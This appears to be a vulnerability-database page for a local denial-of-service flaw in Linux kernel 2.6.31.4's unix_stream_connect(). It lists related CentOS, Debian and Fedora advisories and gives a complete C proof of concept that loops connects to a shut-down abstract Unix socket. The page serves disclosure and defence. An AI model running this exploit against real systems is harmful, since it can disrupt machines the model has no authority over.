Linux Kernel 2.6.31.4 - 'unix_stream_connect()' Local Denial of Service
| Reporter | Title | Published | Views | Family All 139 |
|---|---|---|---|---|
| CentOS 4 : kernel (CESA-2009:1541) | 29 Jun 201300:00 | – | nessus | |
| CentOS 5 : kernel (CESA-2009:1548) | 29 Jun 201300:00 | – | nessus | |
| CentOS 3 : kernel (CESA-2009:1550) | 29 Jun 201300:00 | – | nessus | |
| CentOS 5 : kernel (CESA-2009:1670) | 6 Jan 201000:00 | – | nessus | |
| CentOS 4 : kernel (CESA-2009:1671) | 21 Dec 200900:00 | – | nessus | |
| Debian DSA-1927-1 : linux-2.6 - privilege escalation/denial of service/sensitive memory leak | 24 Feb 201000:00 | – | nessus | |
| Debian DSA-1928-1 : linux-2.6.24 - privilege escalation/denial of service/sensitive memory leak | 24 Feb 201000:00 | – | nessus | |
| Debian DSA-1929-1 : linux-2.6 - privilege escalation/denial of service/sensitive memory leak | 24 Feb 201000:00 | – | nessus | |
| Fedora 11 : kernel-2.6.30.9-96.fc11 (2009-11032) | 6 Nov 200900:00 | – | nessus | |
| Fedora 10 : kernel-2.6.27.38-170.2.113.fc10 (2009-11038) | 6 Nov 200900:00 | – | nessus |
10
int main(void)
{
int ret;
int csd;
int lsd;
struct sockaddr_un sun;
/* make an abstruct name address (*) */
memset(&sun, 0, sizeof(sun));
sun.sun_family = PF_UNIX;
sprintf(&sun.sun_path[1], "%d", getpid());
/* create the listening socket and shutdown */
lsd = socket(AF_UNIX, SOCK_STREAM, 0);
bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
listen(lsd, 1);
shutdown(lsd, SHUT_RDWR);
/* connect loop */
alarm(15); /* forcely exit the loop after 15 sec */
for (;;) {
csd = socket(AF_UNIX, SOCK_STREAM, 0);
ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
if (-1 == ret) {
perror("connect()");
break;
}
puts("Connection OK");
}
return 0;
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Nov 2009 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 24.9
CVSS 3.15.5
EPSS0.00987